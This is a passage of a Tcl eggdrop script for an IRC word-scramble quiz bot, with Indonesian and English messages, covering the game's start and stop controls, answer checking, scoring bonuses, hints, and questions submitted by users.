tgnobodygotit [list "Next time will be easier..." "Where is everybody?" "Come on guys!!" "Is this too hard for you?" "Wake up!!" "Maybe next time"]\r\n\r\n#  ucapan pertanyaan dak ada yg bisa jawab trus pertanyaan yg berikutnya\r\nset tgtrythenextone [list "Try the next one..." "Get ready for the next one..." "Maybe you''ll get the next one..." "Try and get the next one..." "Here comes the next one..."]\r\n\r\n###########################################################################\r\n#\r\n# Helptext\r\n#\r\n###########################################################################\r\nset quizshorthelp [list \\\r\n	"efnet-jakarta@gmail.com" \\\r\n	"!play - !stop - !score - !top10" ]\r\n\r\n\r\n###########################################################################\r\n#\r\n# bot running commands\r\n#\r\n###########################################################################\r\n\r\n## stop\r\n## stop everything and kill all timers\r\nproc tmcquiz_stop {handle idx arg} {\r\n    global quizstate\r\n    global quizconf\r\n    variable t\r\n    variable prefix \r\n\r\n\r\n    ## called directly?\r\n    if {[info level] != 1} {\r\n	set prefix\r\n    } else {\r\n	set prefix\r\n    }\r\n\r\n    set quizstate "stopped"\r\n\r\n    ## kill timers\r\n    foreach t [utimers] {\r\n	if {[lindex $t 1] == "mx_timer_ask" || [lindex $t 1] == "mx_timer_tip"} {\r\n	    killutimer [lindex $t 2]\r\n	}\r\n    }\r\n\r\n    mx_log "--- Game stopped."\r\n    mxirc_say $quizconf(quizchannel) "The Game has stopped!."\r\n    return 1\r\n}\r\n\r\n\r\n## halt\r\n## halt everything and kill all timers\r\nproc tmcquiz_halt {handle idx arg} {\r\n    global quizstate banner bannerspace\r\n    global quizconf\r\n\r\n    variable t\r\n    variable prefix\r\n\r\n    ## called directly?\r\n    if {[info level] != 1} {\r\n	set prefix [bannerspace]\r\n    } else {\r\n	set prefix\r\n    }\r\n\r\n    set quizstate "halted"\r\n    \r\n    ## kill timers\r\n    foreach t [utimers] {\r\n	if {[lindex $t 1] == "mx_timer_ask" || [lindex $t 1] == "mx_timer_tip"} {\r\n	    killutimer [lindex $t 2]\r\n	}\r\n    }\r\n\r\n    mx_log "--- Game halted."\r\n    mxirc_say $quizconf(quizchannel) "0,3Type 9!play0,3to start."\r\n    return 1\r\n}\r\n\r\n\r\n## reload questions\r\nproc tmcquiz_reload {handle idx arg} {\r\n    global qlist quizconf\r\n    global datadir\r\n\r\n    variable alist ""\r\n    variable banks\r\n    variable suffix\r\n\r\n    set arg [string trim $arg]\r\n    if {$arg == ""} {\r\n	# get question files\r\n	set alist [glob -nocomplain "$datadir/questions.*"]\r\n\r\n	# get suffixes\r\n	foreach file $alist {\r\n	    regexp "^.*\\\\.(\\[^\\\\.\\]+)$" $file foo suffix\r\n	    set banks($suffix) 1\r\n	}\r\n\r\n	# report them\r\n	mxirc_dcc $idx "There are the following question banks available (current: $quizconf(questionset)): [lsort [array names banks]]"\r\n    } else {\r\n	if {[mx_read_questions $arg] != 0} {\r\n	    mxirc_dcc $idx "There was an error reading files for $arg."\r\n	    mxirc_dcc $idx "There are [llength $qlist] questions available."\r\n	} else {\r\n	    mxirc_dcc $idx "Reloaded database, [llength $qlist] questions."\r\n	    set quizconf(questionset) $arg\r\n	}\r\n    }\r\n\r\n    return 1\r\n}\r\n\r\n\r\n\r\n## exit -- finish da thing and logoff\r\nproc tmcquiz_exit {nick host handle channel idx} {\r\n    global rankfile uptime botnick\r\n    global quizconf\r\n    mx_log "--- EXIT requested."\r\n    mxirc_say $quizconf(quizchannel) "0,1Be Right Back."\r\n    tmcquiz_rank_save $handle $idx {}\r\n    tmcquiz_saveuserquests $handle $idx "all"\r\n    tmcquiz_config_save $handle $idx {}\r\n    mxirc_dcc $idx "$botnick now exits."\r\n    mx_log "--- $botnick exited"\r\n    mx_log "**********************************************************************"\r\n\r\n    utimer 5 die\r\n}\r\n\r\n###########################################################################\r\n#\r\n# commands for the questions\r\n#\r\n###########################################################################\r\n\r\n## something was said. Solution?\r\nproc tmcquiz_pubm {nick host handle channel text} {\r\n    global quizstate \r\n    global timeasked theq aftergame\r\n    global usergame revoltlist\r\n    global lastsolver lastsolvercount\r\n    global lastwinner lastwinnercount\r\n    global botnick\r\n    global userlist channeltips prices\r\n    global quizconf\r\n    global tgcongrats \r\n\r\n    variable bestscore 0 lastbestscore 0 lastbest ""\r\n    variable userarray\r\n    variable authorsolved 0 waitforrank 0 gameend 0\r\n\r\n#    ## only accept chatter on quizchannel\r\n#    if {![mx_str_ieq $channel $quizconf(quizchannel)]} {\r\n#	return\r\n#    }\r\n\r\n    ## record that the $nick spoke and create entries for unknown people\r\n    mx_getcreate_userentry $nick $host\r\n    array set userarray $userlist($nick)\r\n    set hostmask $userarray(mask)\r\n\r\n    ## not in asking state?\r\n    if {$quizstate != "asked"} {\r\n	return\r\n    }\r\n\r\n    # nick has revolted\r\n    if {[lsearch -exact $revoltlist $hostmask] != -1} {\r\n	return\r\n    }\r\n\r\n    # nick is author of userquest\r\n    if {([info exists theq(Author)] && [mx_str_ieq $nick $theq(Author)])\r\n    || ([info exists theq(Hostmask)] && [mx_str_ieq [maskhost $host] $theq(Hostmask)])} {\r\n	set authorsolved 1\r\n    }\r\n\r\n    ## tweak german umlauts in input\r\n    set text [mx_tweak_umlauts $text]\r\n\r\n    if {[regexp -nocase -- $theq(Regexp) $text]} {\r\n	## reset quiz state related stuff (and save userquestions)\r\n	mx_answered\r\n	set duration [mx_duration $timeasked]\r\n\r\n	# if it wasn''t the author\r\n	if {!$authorsolved} {\r\n	    ## save last top score for the test if reset is near (later below)\r\n	    set lastbest [lindex [lsort -command mx_sortrank [array names userlist]] 0]\r\n	    if {$lastbest == ""} {\r\n		set lastbestscore 0\r\n	    } else {\r\n		array set aa $userlist($lastbest)\r\n		set lastbestscore $aa(score)\r\n	    }\r\n\r\n	    ## record nick for bonus points\r\n	    if {[mx_str_ieq [maskhost $host] $lastsolver]} {\r\n		incr lastsolvercount\r\n	    } else {\r\n		set lastsolver [maskhost $host]\r\n		set lastsolvercount 1\r\n	    }\r\n\r\n#	    ## ignore games_max in a row winner\r\n#	    if {[mx_str_ieq [maskhost $host] $lastwinner]\r\n#	    && $lastwinnercount >= $quizconf(lastwinner_max_games)\r\n#	    && $quizconf(lastwinner_restriction) == "yes"} {\r\n#		return\r\n#	    }\r\n\r\n	    ## save score (set started time to time of first point)\r\n	    incr userarray(score) $theq(Score)\r\n	    if {$userarray(score) == 1} {\r\n		set userarray(started) [unixtime]\r\n	    }\r\n	    set userlist($nick) [array get userarray]\r\n\r\n	    ## tell channel, that the question is solved\r\n	    mx_log "--- question answered in $duration by $nick with \\"$text\\", now $userarray(score) points"\r\n\r\n	    regsub -all "\\#(\\[^\\#\\]*\\)\\#" $theq(Answer) "\\\\1" answer\r\n	    mxirc_say $channel "4,2[lindex $tgcongrats [rand [llength $tgcongrats]]]8,2 11,2$nick 4,2 R0,2ight 4,2a0,2nswered 9,2$answer 4,2i0,2n 15,2 $duration 4,2S0,2core 8+$theq(Score) pts 4,2T0,2otal 4,2N0,2ilai 4$userarray(score)0,2 points 11,2Rangking13,2 [mx_get_rank_pos $nick]"\r\n\r\n\r\n\r\n	    ## honor good games!\r\n	    if {$lastsolvercount == 3} {\r\n		mxirc_say $channel "0,1Cool! 3 in a row! Bonus 9+5 1. 0,14$nick0 how did you do that?"\r\n                tmcquiz_rank_set $botnick 0 "$nick +10"\r\n	    } elseif {$lastsolvercount == 6} {\r\n		mxirc_say $channel "0,1Did your mom tell you that? 5 answered! Bonus 9+10 1. 0,19$nick0 Nice job.."\r\n		tmcquiz_rank_set $botnick 0 "$nick +20"\r\n	    } elseif {$lastsolvercount == 10} {\r\n		mxirc_say $channel "0,1Cool 10/10!! 10 answered! Bonus 9+15 1. 0,14$nick0 .... you are something..."\r\n		mx_log "--- $nick has ten in a row.  score += 22"\r\n		tmcquiz_rank_set $botnick 0 "$nick +30"\r\n	    } elseif {$lastsolvercount == 15} {\r\n		mxirc_say $channel "0,1Oh my God!! 15 answered! Bonus 9+20 1. 0,19$nick0 ... aren''t you tired?"\r\n		tmcquiz_rank_set $botnick 0 "$nick +50"\r\n	    } elseif {$lastsolvercount == 20} {\r\n		mxirc_say $channel "0,1Perfect! 20 answered! Bonus 9+25 1. 0,14$nick you are a legend "\r\n		tmcquiz_rank_set $botnick 0 "$nick +100"\r\n\r\n	    }\r\n\r\n	    ## rankreset, if above winscore\r\n	    # notify if this comes near\r\n	    set best [lindex [lsort -command mx_sortrank [array names userlist]] 0]\r\n	    if {$best == ""} {\r\n		set bestscore 0\r\n	    } else {\r\n		array set aa $userlist($best)\r\n		set bestscore $aa(score)\r\n	    }\r\n\r\n	    set waitforrank 0\r\n	    if {[mx_str_ieq $best $nick] && $bestscore > $lastbestscore} {\r\n		array set aa $userlist($best)\r\n		# tell the end is near\r\n		if {$bestscore >= $quizconf(winscore)} {\r\n                    set price "."\r\n\r\n                    if {$quizconf(prices) == "yes"} {\r\n                        set price " [lindex $prices [rand [llength $prices]]]"\r\n                    }\r\n\r\n#		    mxirc_say $channel "$nick reaches $quizconf(winscore) points and wins$price"\r\n		    set now [unixtime]\r\n		    if {[mx_str_ieq [maskhost $host] $lastwinner]} {\r\n			incr lastwinnercount\r\n			if {$lastwinnercount >= $quizconf(lastwinner_max_games)\r\n			&& $quizconf(lastwinner_restriction) == "yes"} {\r\n#			    mxirc_notc $nick "Since you won $quizconf(lastwinner_max_games) games in a row, you will be ignored for the next game.  This is a safety feature to stop answer bots."\r\n			}\r\n		    } else {\r\n			set lastwinner [maskhost $host]\r\n			set lastwinnercount 1\r\n		    }\r\n		    # save $nick in allstars table\r\n		    mx_saveallstar $now [expr $now - $aa(started)] $bestscore $nick [maskhost $host]\r\n#		    tmcquiz_rank $botnick 0 {}\r\n#		    tmcquiz_rank_reset $botnick {} {}\r\n#		    set gameend 1\r\n#		    set waitforrank 15\r\n		} elseif {$bestscore == [expr $quizconf(winscore) / 2]} {\r\n		    mxirc_say $channel "Halftime.  Game is won at $quizconf(winscore) points."\r\n		} elseif {$bestscore == [expr $quizconf(winscore) - 10]} {\r\n		    mxirc_say $channel "$best has 10 points to go."\r\n		} elseif {$bestscore == [expr $quizconf(winscore) - 5]} {\r\n		    mxirc_say $channel "$best has 5 points to go."\r\n		} elseif {$bestscore >= [expr $quizconf(winscore) - 3]} {\r\n		    mxirc_say $channel "$best has [expr $quizconf(winscore) - $bestscore] point(s) to go."\r\n		}\r\n\r\n		# show rank at 1/3, 2/3 of and 5 before winscore\r\n		set spitrank 1\r\n		foreach third [list [expr $quizconf(winscore) / 3] [expr 2 * $quizconf(winscore) / 3] [expr $quizconf(winscore) - 5]] {\r\n		    if {$lastbestscore < $third && $bestscore >= $third && $spitrank} {\r\n			tmcquiz_rank $botnick 0 {}\r\n			set spitrank 0\r\n#			set waitforrank 15\r\n		    }\r\n		}\r\n		\r\n	    }\r\n	} else {\r\n	    ## tell channel, that the question is solved by author\r\n	    mx_log "--- solved after $duration by $nick with \\"$text\\" by author"\r\n	    regsub -all "\\#(\\[^\\#\\]*\\)\\#" $theq(Answer) "\\\\1" answer\r\n	    mxirc_say $channel "0,1 $nick answered his own question after9 $duration0 and no score, still 9 $userarray(score) 1 points in rank 9 [mx_get_rank_pos $nick] 0. answered :4 $answer"\r\n\r\n	    # remove area of tip generation tags\r\n	    regsub -all "\\#(\\[^\\#\\]*\\)\\#" $theq(Answer) "\\\\1" answer\r\n#	    mxirc_say $channel "Answered: $answer"\r\n	}\r\n\r\n\r\n	## check if game has ended and react\r\n	if {!$gameend || $aftergame == "newgame"} {\r\n	    # set up ask timer\r\n	    utimer [expr $waitforrank + $quizconf(askdelay)] mx_timer_ask\r\n	} else {\r\n	    mx_aftergameaction\r\n	}\r\n    }\r\n}\r\n\r\n\r\n## ask a question, start game\r\nproc tmcquiz_ask {nick host handle channel arg} {\r\n    global qlist quizstate botnick\r\n    global tipno tiplist\r\n    global userqnumber usergame userqlist\r\n    global timeasked qnumber qlistorder theq\r\n    global qnum_thisgame\r\n    global userlist timerankreset\r\n    global quizconf\r\n    variable anum 0\r\n    variable txt\r\n\r\n    ## only accept chatter on quizchannel\r\n    if {![mx_str_ieq $channel $quizconf(quizchannel)]} {\r\n	return\r\n    }\r\n\r\n#   switch -exact $quizstate {\r\n#	"paused" {\r\n#	    mxirc_notc $nick "Game is paused."\r\n#	    return 1\r\n#	}\r\n#	"stopped" {\r\n#	    mxirc_notc $nick "Mumun Game is Stopped."\r\n#	    return 1\r\n#	}\r\n#    }\r\n\r\n    ## record that $nick spoke (prevents desert detection from stopping,\r\n    ## when an user joins and starts the game with !ask)\r\n    if {![mx_str_ieq $nick $botnick]} {\r\n	mx_getcreate_userentry $nick $host\r\n    }\r\n\r\n    ## any questions available?\r\n    if {[llength $qlist] == 0 && [mx_userquests_available] == 0} {\r\n	mxirc_say $channel "Sorry, my database is empty."\r\n    } elseif {$quizstate == "asked"} {\r\n	## game runs, tell user the question via msg\r\n	set txt "Current"\r\n	if {[info exists theq(Level)]} {\r\n	    set txt "$txt level $theq(Level)"\r\n	}\r\n	if {$usergame == 1} {\r\n	    set txt "$txt user"\r\n	}\r\n	set txt "$txt question no. $qnum_thisgame is \\""\r\n	if {[info exists theq(Category)]} { \r\n	    set txt "${txt}\\($theq(Category)\\) "\r\n	}\r\n	set txt "$txt$theq(Question)\\" open for [mx_duration $timeasked]"\r\n	if {$theq(Score) > 1} {\r\n	    set txt "$txt, worth $theq(Score) points."\r\n	} else {	\r\n	    set txt "$txt."\r\n	}\r\n	mxirc_notc $nick $txt\r\n    } elseif {$quizstate == "waittoask" && ![mx_str_ieq $nick $botnick]} {\r\n	## no, user has to be patient\r\n	mxirc_notc $nick "0,1Siap?! Soal berikutnya dalam4 $quizconf(askdelay) 0detik."\r\n    } else {\r\n	##\r\n	## ok, now lets see, which question to ask (normal or user)\r\n	##\r\n\r\n	## clear old question\r\n	foreach k [array names theq] {\r\n	    unset theq($k)\r\n	}\r\n\r\n	if {[mx_userquests_available]} {\r\n	    ## select a user question\r\n	    array set theq [lindex $userqlist $userqnumber]\r\n	    set usergame 1\r\n	    incr userqnumber\r\n	    mx_log "--- asking a user question: $theq(Question)"\r\n	} else {\r\n	    variable ok 0\r\n	    while {!$ok} {\r\n		## select a normal question\r\n		if {$qnumber >= [llength $qlistorder]} {\r\n		    set qnumber 0\r\n		    set qlistorder [mx_mixedlist [llength $qlist]]\r\n		}\r\n		array set theq [lindex $qlist [lindex $qlistorder $qnumber]]\r\n		set usergame 0\r\n\r\n		# skip question if author is about to win\r\n		if {[info exists theq(Author)] && [info exists userlist($theq(Author))]} {\r\n		    array set auser $userlist($theq(Author))\r\n		    if {$auser(score) >= [expr $quizconf(winscore) - 5]} {\r\n			mx_log "--- skipping question number $qnumber ([lindex $qlistorder $qnumber]), author is about to win"\r\n			## clear old question\r\n			foreach k [array names theq] {\r\n			    unset theq($k)\r\n			}\r\n		    } else {\r\n			mx_log "--- asking question number $qnumber ([lindex $qlistorder $qnumber]): $theq(Question)"\r\n			set ok 1\r\n		    }\r\n		} else {\r\n		    mx_log "--- asking question number $qnumber ([lindex $qlistorder $qnumber]): $theq(Question)"\r\n		    set ok 1\r\n		}\r\n		incr qnumber\r\n	    }\r\n	}\r\n	incr qnum_thisgame\r\n	if {$qnum_thisgame == 1} {\r\n	    set timerankreset [unixtime]\r\n	    mx_log "---- it''s the no. $qnum_thisgame in this game, rank timer started."\r\n	} else {\r\n	    mx_log "---- it''s the no. $qnum_thisgame in this game."\r\n	}\r\n\r\n	##\r\n	## ok, set some minimal required fields like score, regexp and the tiplist.\r\n	##\r\n\r\n	## set regexp to match\r\n	if {![info exists theq(Regexp)]} {\r\n	    ## mask all regexp special chars except "."\r\n	    set aexp [mx_tweak_umlauts $theq(Answer)]\r\n	    regsub -all "(\\\\+|\\\\?|\\\\*|\\\\^|\\\\$|\\\\(|\\\\)|\\\\\\[|\\\\\\]|\\\\||\\\\\\\\)" $aexp "\\\\\\\\\\\\1" aexp\r\n	    # get #...# area tags for tipgeneration as regexp\r\n	    regsub -all ".*\\#(\\[^\\#\\]*\\)\\#.*" $aexp "\\\\1" aexp\r\n	    set theq(Regexp) $aexp \r\n	} else {\r\n	    set theq(Regexp) [mx_tweak_umlauts $theq(Regexp)]\r\n	}\r\n\r\n	# protect embedded numbers\r\n	if {[regexp "\\[0-9\\]+" $theq(Regexp)]} {\r\n	    set newexp ""\r\n	    set oldexp $theq(Regexp)\r\n	    set theq(Oldexp) $oldexp\r\n\r\n	    while {[regexp -indices "(\\[0-9\\]+)" $oldexp pair]} {\r\n		set subexp [string range $oldexp [lindex $pair 0]  [lindex $pair 1]]\r\n		set newexp "${newexp}[string range $oldexp -1 [expr [lindex $pair 0] - 1]]"\r\n		if {[regexp -- $theq(Regexp) $subexp]} {\r\n		    set newexp "${newexp}(^|\\[^0-9\\])${subexp}(\\$|\\[^0-9\\])"\r\n		} else {\r\n		    set newexp "${newexp}${subexp}"\r\n		}\r\n		set oldexp "[string range $oldexp [expr [lindex $pair 1] + 1] [string length $oldexp]]"\r\n	    }\r\n	    set newexp "${newexp}${oldexp}"\r\n	    set theq(Regexp) $newexp\r\n	    mx_log "---- replaced regexp ''$theq(Oldexp)'' with ''$newexp'' to protect numbers."\r\n	}\r\n\r\n	## set score\r\n	if {![info exists theq(Score)]} {\r\n	    set theq(Score) 3\r\n	}\r\n\r\n	## set category\r\n	## set anum [lsearch -exact $alist "Category"]\r\n	## if {![info exists theq(Category)} {\r\n	##    set theq(Category) "unknown"\r\n	##}\r\n	\r\n	## initialize tiplist\r\n	set anum 0\r\n	set tiplist ""\r\n	while {[info exists theq(Tip$anum)]} {\r\n	    lappend tiplist $theq(Tip$anum)\r\n	    incr anum\r\n	}\r\n	# No tips found?  construct standard list\r\n	if {$anum == 0} {\r\n	    set add "·"\r\n\r\n	    # extract area of tip generation tags\r\n	    if {![regsub -all ".*\\#(\\[^\\#\\]*\\)\\#.*" $theq(Answer) "\\\\1" answer]} {\r\n		set answer $theq(Answer)\r\n	    }\r\n\r\n	    ## use tipcycle from questions or\r\n	    ## generate less tips if all words shorter than $tipcycle\r\n	    if {[info exists theq(Tipcycle)]} {\r\n		set limit $theq(Tipcycle)\r\n	    } else {\r\n		set limit $quizconf(tipcycle)\r\n		## check if at least one word long enough\r\n		set tmplist [lsort -command mx_cmp_length -decreasing [split $answer " "]]\r\n		# not a big word\r\n		if {[string length [lindex $tmplist 0]] < $quizconf(tipcycle)} {\r\n		    set limit [string length [lindex $tmplist 0]]\r\n		}\r\n	    }\r\n	    \r\n	    for {set anum 0} {$anum < $limit} {incr anum} {\r\n		set tiptext ""\r\n		set letterno 0\r\n		for {set i 0} {$i < [string length $answer]} {incr i} {\r\n		    if {([expr [expr $letterno - $anum] \\% $quizconf(tipcycle)] == 0) || \r\n		    ([regexp "\\[- \\.,`''\\"\\]" [string range $answer $i $i] foo])} {\r\n			set tiptext "$tiptext[string range $answer $i $i]"\r\n			if {[regexp "\\[- \\.,`''\\"\\]" [string range $answer $i $i] foo]} {\r\n			    set letterno -1\r\n			}\r\n		    } else {\r\n			set tiptext "$tiptext$add"\r\n		    }\r\n		    incr letterno\r\n		}\r\n		lappend tiplist $tiptext\r\n	    }\r\n	}\r\n\r\n	##\r\n	## Now construct the text to print\r\n	##\r\n#        set ans "word : $answer"\r\n	set txt "14,15<0>14<0>14<0>14<0>4,1 S15,1cramble Game at #indoGame4,1@15,1ALLnet -r@"\r\n	if {[info exists theq(Level)]} {\r\n	    set txt "$txt level $theq(Level)"\r\n	}\r\n	if {$usergame == 1} {\r\n	    set txt "$txt user"\r\n	}\r\n	set txt "$txt 4,1S15,1oal 4,1N15,1o $qnum_thisgame"\r\n	if {$theq(Score) > 1} {\r\n#	    set txt "$txt"\r\n	}\r\n	if {[info exists theq(Author)]} {\r\n	    set txt "$txt 4,1B15,1y9,1 $theq(Author) 14,15 <0>14<0>14<0>14<0>"\r\n	} else {\r\n	    set txt "Petunjuk: $txt:"\r\n	}\r\n#        set ans "word :[randomanswer $answer]"\r\n#        mxirc_say $channel $ans\r\n	mxirc_say $channel $txt\r\n\r\n\r\n	set txt ""\r\n	if {[info exists theq(Category)]} {\r\n	    set txt "$txt\\($theq(Category)\\) $theq(Question)"\r\n	} else {\r\n	    set txt "14,15<0>14<0>14<0>14<0>4,1P15,1ertanyaan9,1 :0,14 $txt$theq(Question) 14,15 <0>14<0>14<0>14<0>"\r\n	}\r\n      set ans "14,15<0>14<0>14<0>14<0>4,1A15,1cak Kata9,1 :0,14 [randomanswer $answer] 14,15 <0>14<0>14<0>14<0>"\r\n      set tipz "[get_InfoItem]"\r\n\r\n mxirc_say $channel $txt\r\n mxirc_say $channel $ans\r\n mxirc_say $channel $tipz\r\n\r\n\r\n	set quizstate "asked"\r\n	set tipno 0\r\n	set timeasked [unixtime]\r\n	## set up tip timer\r\n	utimer $quizconf(tipdelay) mx_timer_tip\r\n    }\r\n}\r\n\r\n\r\n## A user dislikes the question\r\nproc tmcquiz_user_revolt {nick host handle channel text} {\r\n    global revoltlist revoltmax tipno botnick quizstate\r\n    global userlist\r\n    global quizconf\r\n\r\n    ## only accept revolts on the quizchannel\r\n    if {![mx_str_ieq $channel $quizconf(quizchannel)]} {\r\n	return\r\n    }\r\n\r\n    if {$quizstate == "asked"} {\r\n	if {$tipno < 1} {\r\n#	    mxirc_action $channel "does not react on revolts before at least one tip was given."\r\n	    return\r\n	}\r\n\r\n	## ensure that the revolting user has an entry\r\n	if {![info exists userlist($nick)]} {\r\n	    mx_getcreate_userentry $nick $host\r\n	}\r\n\r\n	## calculate people needed to make a revolution (50\\% of active users)\r\n	mx_log "--- a game runs, !revolt.  revoltmax = $revoltmax"\r\n	if {$revoltmax == 0} {\r\n	    set now [unixtime]\r\n	    foreach u [array names userlist] {\r\n		array set afoo $userlist($u)\r\n		if {[expr $now - $afoo(lastspoken)] <= $quizconf(useractivetime)} {\r\n		    incr revoltmax\r\n		}\r\n	    }\r\n	    mx_log "---- active people are $revoltmax"\r\n	    # one and two player shoud revolt "both"\r\n	    if {$revoltmax > 2} {\r\n		set revoltmax [expr int(ceil(double($revoltmax) / 2))]\r\n	    }\r\n	    mx_log "---- people needed for a successful revolution: $revoltmax"\r\n	}\r\n\r\n	# records known users dislike\r\n	if {[info exists userlist($nick)]} {\r\n	    array set anarray $userlist($nick)\r\n	    set hostmask $anarray(mask)\r\n	    if {[lsearch -exact $revoltlist $hostmask] == -1} {\r\n		mxirc_quick_notc $nick "Since you are revolting, you will be ignored for this question."\r\n#		mxirc_action $channel "0,1sees that $nick and [llength $revoltlist] other dislike the question, you need $revoltmax people."\r\n		lappend revoltlist $hostmask\r\n		set anarray(lastspoken) [unixtime]\r\n		set userlist($nick) [array get anarray]\r\n		mx_log "--- $nick is revolting, revoltmax is $revoltmax"\r\n	    }\r\n	}\r\n	if {[llength $revoltlist] >= $revoltmax} {\r\n	    set revoltmax 0\r\n	    mx_log "--- solution forced by revolting."\r\n	    mxirc_action $channel "0,1will solve the question immediately."\r\n	    tmcquiz_solve $botnick 0 {}\r\n	}\r\n    }\r\n}\r\n\r\n\r\n## solve question\r\n\r\nproc tmcquiz_solve {handle idx arg} {\r\n    global tgnobodygotit\r\n    global tgtrythenextone\r\n    global quizstate theq\r\n    global botnick lastsolvercount lastsolver timeasked\r\n    global quizconf\r\n\r\n    variable txt\r\n    variable answer\r\n    if {$quizstate != "asked"} {\r\n	mxirc_dcc $idx "There is no open question."\r\n    } else {\r\n	mx_answered\r\n	set lastsolver ""\r\n	set lastsolvercount 0\r\n\r\n	if {[mx_str_ieq $botnick $handle]} {\r\n	    set txt "4,1T15,1ime''s 4,1U15,1P"\r\n	    set solver ""\r\n	} else {\r\n	    set txt "0,1Manually"\r\n	    set solver " by $handle"\r\n	}\r\n        regsub -all "\\#(\\[^\\#\\]*\\)\\#" $theq(Answer) "\\\\1" answer\r\n	set txt "4,2[lindex $tgnobodygotit [rand [llength $tgnobodygotit]]]4,2 T15,2ime''s 13,2[mx_duration $timeasked]$solver4,2 U15,2p, 4,2A15,2nswer4,2: 11$answer9,2 [lindex $tgtrythenextone [rand [llength $tgtrythenextone]]]"\r\n	mxirc_say $quizconf(quizchannel) $txt\r\n\r\n	# remove area of tip generation tags\r\n#	regsub -all "\\#(\\[^\\#\\]*\\)\\#" $theq(Answer) "\\\\1" answer\r\n#	mxirc_say $quizconf(quizchannel) "0,1The answer is: $answer"\r\n\r\n	# remove protection of numbers from regexp\r\n	if {[info exists theq(Oldexp)]} {\r\n	    set theexp $theq(Oldexp)\r\n	} else {\r\n	    set theexp $theq(Regexp)\r\n	}\r\n\r\n	if {$answer != $theexp} {\r\n#	    mxirc_say $quizconf(quizchannel) "And should match: $theexp"\r\n	}\r\n\r\n	mx_log "--- solved by $handle manually."\r\n	# schedule ask\r\n	utimer $quizconf(askdelay) mx_timer_ask\r\n    } \r\n    return 1\r\n}\r\n\r\n\r\n## show a tip\r\nproc tmcquiz_tip {handle idx arg} {\r\n    global tipno quizstate\r\n    global botnick tiplist\r\n    global quizconf\r\n\r\n    if {$quizstate == "asked"} {\r\n	if {$arg != ""} {\r\n	    mxirc_dcc $idx "Extra tip \\''$arg\\'' will be given."\r\n	    set tiplist [linsert $tiplist $tipno $arg]\r\n	}\r\n	if {$tipno == [llength $tiplist]} {\r\n	    # enough tips, solve!\r\n	    set tipno 0\r\n	    tmcquiz_solve $botnick 0 {}\r\n	} else {\r\n	    set tiptext [lindex $tiplist $tipno]\r\n#	    mxirc_say $quizconf(quizchannel) "Hint [expr $tipno + 1]:"\r\n#	    mxirc_say $quizconf(quizchannel) "$tiptext"\r\n	    foreach j [utimers] {\r\n		if {[lindex $j 1] == "mx_timer_tip"} {\r\n		    killutimer [lindex $j 2]\r\n		}\r\n	    }\r\n	    mx_log "----- Tip number $tipno: $tiptext"\r\n	    # only short delay after last tip\r\n	    incr tipno\r\n	    if {$tipno == [llength $tiplist]} {\r\n		utimer 15 mx_timer_tip\r\n	    } else {\r\n		utimer $quizconf(tipdelay) mx_timer_tip\r\n	    }\r\n	}\r\n    } else {\r\n	mxirc_dcc $idx "Sorry, no question is open."\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## schedule a userquest\r\nproc tmcquiz_userquest {nick host handle arg} {\r\n    global userqlist\r\n    global quizconf\r\n    variable uanswer "" uquestion "" umatch ""\r\n    variable tmptext ""\r\n\r\n    if {$quizconf(userquestions) == "no"} {\r\n	mxirc_notc $nick "Sorry, userquestions are disabled."\r\n	return\r\n    }\r\n\r\n    if {![onchan $nick $quizconf(quizchannel)]} {\r\n	mxirc_notc $nick "Sorry, you MUST be in the quizchannel to ask questions."\r\n    } else {\r\n	if {[mx_userquests_available] >= $quizconf(userqbufferlength)} {\r\n	    mxirc_notc $nick "Sorry, there are already $quizconf(userqbufferlength) user questions scheduled.  Try again later."\r\n	} else {\r\n	    set arg [mx_strip_colors $arg]\r\n            if {$quizconf(stripumlauts) == "yes"} {\r\n                set arg [mx_tweak_umlauts $arg]\r\n            }\r\n	    if {[regexp "^(.+)::(.+)::(.+)$" $arg foo uquestion uanswer umatch] || \\\r\n		    [regexp "(.+)::(.+)" $arg foo uquestion uanswer]} {\r\n		set uquestion [string trim $uquestion]\r\n		set uanswer [string trim $uanswer]\r\n		set alist [concat "Question" "{$uquestion}" "Answer" "{$uanswer}" "Author" "{$nick}" "Hostmask" "[maskhost $host]" "Date" "[ctime [unixtime]]"]\r\n		if {$umatch != ""} {\r\n		    set umatch [string trim $umatch]\r\n		    lappend alist "Regexp" "$umatch"\r\n		    set mtext ", match \\"$umatch\\""\r\n		}\r\n		lappend userqlist $alist\r\n		\r\n		mxirc_notc $nick "Your quest \\"$uquestion\\" is scheduled with answer \\"$uanswer\\"$tmptext and will be asked after [expr [mx_userquests_available] - 1] questions."\r\n		mx_log "--- Userquest scheduled by $nick: \\"$uquestion\\"."\r\n	    } else {\r\n		mxirc_notc $nick "Wrong number of parameters.  Use alike <question>::<answer>::<regexp>.  The regexp is optional and used with care." \r\n		mxirc_notc $nick "You said: \\"$arg\\".  I recognize this as: \\"$uquestion\\" and \\"$uanswer\\", regexp: \\"$umatch\\"."\r\n		mx_log "--- userquest from $nick failed with: \\"$arg\\""\r\n	    }\r\n	}\r\n    }\r\n    return\r\n}\r\n\r\n\r\n## usertip\r\n#proc tmcquiz_usertip {nick host handle arg} {\r\n#    global quizstate usergame theq\r\n#    global quizconf\r\n#    \r\n#    if {[onchan $nick $quizconf(quizchannel)]} {\r\n#	mx_log "--- Usertip requested by $nick: \\"$arg\\"."\r\n#	if {$quizstate == "asked" && $usergame == 1} {\r\n#	    if {[info exists theq(Author)] && ![mx_str_ieq $nick $theq(Author)]} {\r\n#		mxirc_notc $nick "No, only $theq(Author) can give tips here!"\r\n#	    } else {\r\n#		tmcquiz_tip $nick 0 $arg\r\n#	    }\r\n#	} else {\r\n#	    mxirc_notc $nick "No usergame running."\r\n#	}\r\n#    } else {\r\n#	mxirc_notc $nick "Sorry, you MUST be in the quizchannel to give tips."\r\n#    }\r\n#    return 1\r\n#}\r\n\r\n\r\n## usersolve\r\nproc tmcquiz_usersolve {nick host handle arg} {\r\n    global quizstate usergame theq\r\n\r\n    mx_log "--- Usersolve requested by $nick."\r\n    if {$quizstate == "asked" && $usergame == 1} {\r\n	if {[info exists theq(Author)] && ![mx_str_ieq $nick $theq(Author)]} {\r\n	    mxirc_notc $nick "No, only $theq(Author) can solve this question!"\r\n	} else {\r\n	    tmcquiz_solve $nick 0 {}\r\n	}\r\n    } else {\r\n	mxirc_notc $nick "No usergame running."\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## usercancel\r\nproc tmcquiz_usercancel {nick host handle arg} {\r\n    global quizstate usergame theq userqnumber userqlist\r\n    